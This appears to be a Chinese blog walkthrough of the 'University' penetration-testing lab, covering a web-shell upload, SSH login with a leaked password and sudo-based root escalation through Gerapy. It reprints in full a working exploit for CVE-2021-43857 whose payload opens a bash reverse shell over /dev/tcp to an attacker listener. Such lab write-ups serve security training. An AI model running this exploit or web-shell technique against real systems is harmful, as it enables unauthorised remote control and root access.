渗透测试靶场练习——University

靶场来源:公众号:PTEHub,关注公众号:PTEHub 获取最新靶场资源

靶场类型:单局域网

信息收集

使用nmap进行扫描,获取到如下信息

通过扫描后发现开放了22和80端口,并得到了git存储库,我们访问链接查看源代码

查看源码库中 fileupload.php和documents.php 文件代码如下:

fileupload.php 文件中存在学生图片路径和学生文件路径,并未对上传的文件类型进行过滤

documents.php  文件中引用了 fileupload.php 文件

 访问 10.35.0.119/documents.php 后得到一个未授权的文件上传页面,尝试上传一句话木马,并用工具进行连接

登录

通过上传一句话木马和工具成功连接,对用户文件的查看后得知存在sandra用户 

此时我们权限较低,无法查看 sandra 下的user.txt 文件,对文件目录的查看后发现在 html 文件下存在一个隐藏文件  sandra_secret,查询文件后发现存在一串疑似密码的字符串

 

FLAG获取

尝试用获取的密码ssh登录 sandra  用户,登录成功后,重新查看 sandra 目录的下的 user.txt 文件得到 flag

 提权获取FLAG

此时我们已经从 www-data 低权限用户提权到可以查看一些文件的 sandra 用户,但是还没有权限访问 root,我们通过sudo -l 命令查看敏感信息,发现可以使用 gerapy

tips:

Gerapy 是一款分布式爬虫管理框架,支持 Python 3,基于 Scrapy、Scrapyd、Scrapyd-Client、Scrapy-Redis、Scrapyd-API、Scrapy-Splash、Jinjia2、Django、Vue.js 开发,Gerapy 可以帮助我们:

1.更方便地控制爬虫运行

2.更直观地查看爬虫状态

3.更实时地查看爬取结果

4.更简单地实现项目部署

5.更统一地实现主机管理

6.更轻松地编写爬虫代码(几乎没用,感觉比较鸡肋)
 

gerapy在这里可以使用sudo来进行权限提升的原因是因为 gerapy在这里执行sudo不需要密码验证

通过在网上搜索相关漏洞,发现exploit-db存储有该漏洞的exp

kail本地下创建一个测试脚本(确认版本为可使用版本) 

Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated) - Python remote ExploitGerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated). CVE-2021-43857 . remote exploit for Python platformhttps://www.exploit-db.com/exploits/50640

# Exploit Title: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 03/01/2022
# Exploit Author: Jeremiasz Pluta
# Vendor Homepage: https://github.com/Gerapy/Gerapy
# Version: All versions of Gerapy prior to 0.9.8
# CVE: CVE-2021-43857
# Tested on: Gerapy 0.9.6

# Vulnerability: Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.

#!/usr/bin/python
import sys
import re
import argparse
import pyfiglet
import requests
import time
import json
import subprocess

banner = pyfiglet.figlet_format("CVE-2021-43857")
print(banner)
print('Exploit for CVE-2021-43857')
print('For: Gerapy < 0.9.8')

login = "admin" #CHANGE ME IF NEEDED
password = "admin" #CHANGE ME IF NEEDED

class Exploit:

        def __init__(self, target_ip, target_port, localhost, localport):
                self.target_ip = target_ip
                self.target_port = target_port
                self.localhost = localhost
                self.localport = localport

        def exploitation(self):
                payload = """{"spider":"`/bin/bash -c 'bash -i >& /dev/tcp/""" + localhost + """/""" + localport + """ 0>&1'`"}"""

                #Login to the app (getting auth token)
                url = "http://" + target_ip + ":" + target_port
                r = requests.Session()
                print("[*] Resolving URL...")
                r1 = r.get(url)
                time.sleep(3)
                print("[*] Logging in to application...")
                r2 = r.post(url + "/api/user/auth", json={"username":login,"password":password}, allow_redirects=True)
                time.sleep(3)
                if (r2.status_code == 200):
                        print('[*] Login successful! Proceeding...')
                else:
                        print('[*] Something went wrong!')
                        quit()

                #Create a header out of auth token (yep, it's bad as it looks)
                dict = json.loads(r2.text)
                temp_token = 'Token '
                temp_token2 = json.dumps(dict['token']).strip('"')
                auth_token = {}
                auth_token['Authorization'] = temp_token + temp_token2

                #Get the project list
                print("[*] Getting the project list")
                r3 = r.get(url + "/api/project/index", headers=auth_token, allow_redirects=True)
                time.sleep(3)

                if (r3.status_code != 200):
                        print("[!] Something went wrong! Maybe the token is corrupted?")
                        quit();

                #Parse the project name for a request (yep, it's worse than earlier)
                dict = r3.text # [{'name': 'test'}]
                dict2 = json.dumps(dict)
                dict3 = json.loads(dict2)
                dict3 = json.loads(dict3)
                name = dict3[0]['name']
                print("[*] Found project: " + name)

                #use the id to check the project
                print("[*] Getting the ID of the project to build the URL")
                r4 = r.get(url + "/api/project/" + name + "/build", headers=auth_token, allow_redirects=True)
                time.sleep(3)
                if (r4.status_code != 200):
                        print("[*] Something went wrong! I can't reach the found project!")
                        quit();

                #format the json to dict
                dict = r4.text
                dict2 = json.dumps(dict)
                dict3 = json.loads(dict2)
                dict3 = json.loads(dict3)
                id = dict3['id']
                print("[*] Found ID of the project: ", id)
                time.sleep(1)

                #netcat listener
                print("[*] Setting up a netcat listener")
                listener = subprocess.Popen(["nc", "-nvlp", self.localport])
                time.sleep(3)

                #exec the payload
                print("[*] Executing reverse shell payload")
                print("[*] Watchout for shell! :)")
                r5 = r.post(url + "/api/project/" + str(id) + "/parse", data=payload, headers=auth_token, allow_redirects=True)
                listener.wait()

                if (r5.status_code == 200):
                        print("[*] It worked!")
                        listener.wait()
                else:
                        print("[!] Something went wrong!")
                        listener.terminate()

def get_args():
        parser = argparse.ArgumentParser(description='Gerapy < 0.9.8 - Remote Code Execution (RCE) (Authenticated)')
        parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
        parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
        parser.add_argument('-L', '--lh', dest="localhost", required=True, action='store', help='Listening IP')
        parser.add_argument('-P', '--lp', dest="localport", required=True, action='store', help='Listening port')
        args = parser.parse_args()
        return args

args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.localhost
localport = args.localport

exp = Exploit(target_ip, target_port, localhost, localport)
exp.exploitation()

使用 sudo 执行 gerapy 命令,如果不使用sudo执行,后续反弹回来的shell将会是sandra的权限,因为使用了sudo,那么gerapy的权限就为root,弹回来的shell也就继承了该权限。

开始初始化 gerapy,并在 projects 子文件下也进行初始化,

如果不进行第二次初始化,会产生报错,这是一个坑。

​​​​​​​

 初始化数据库完成

  创建超级用户完成

 运行 gerapy 服务

在本地执行测试脚本文件 exp.py ,权限继承到 root 用户 

 最后提权到 root 用户,提权成功,查看 root.txt 文件得到 FLAG!!!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值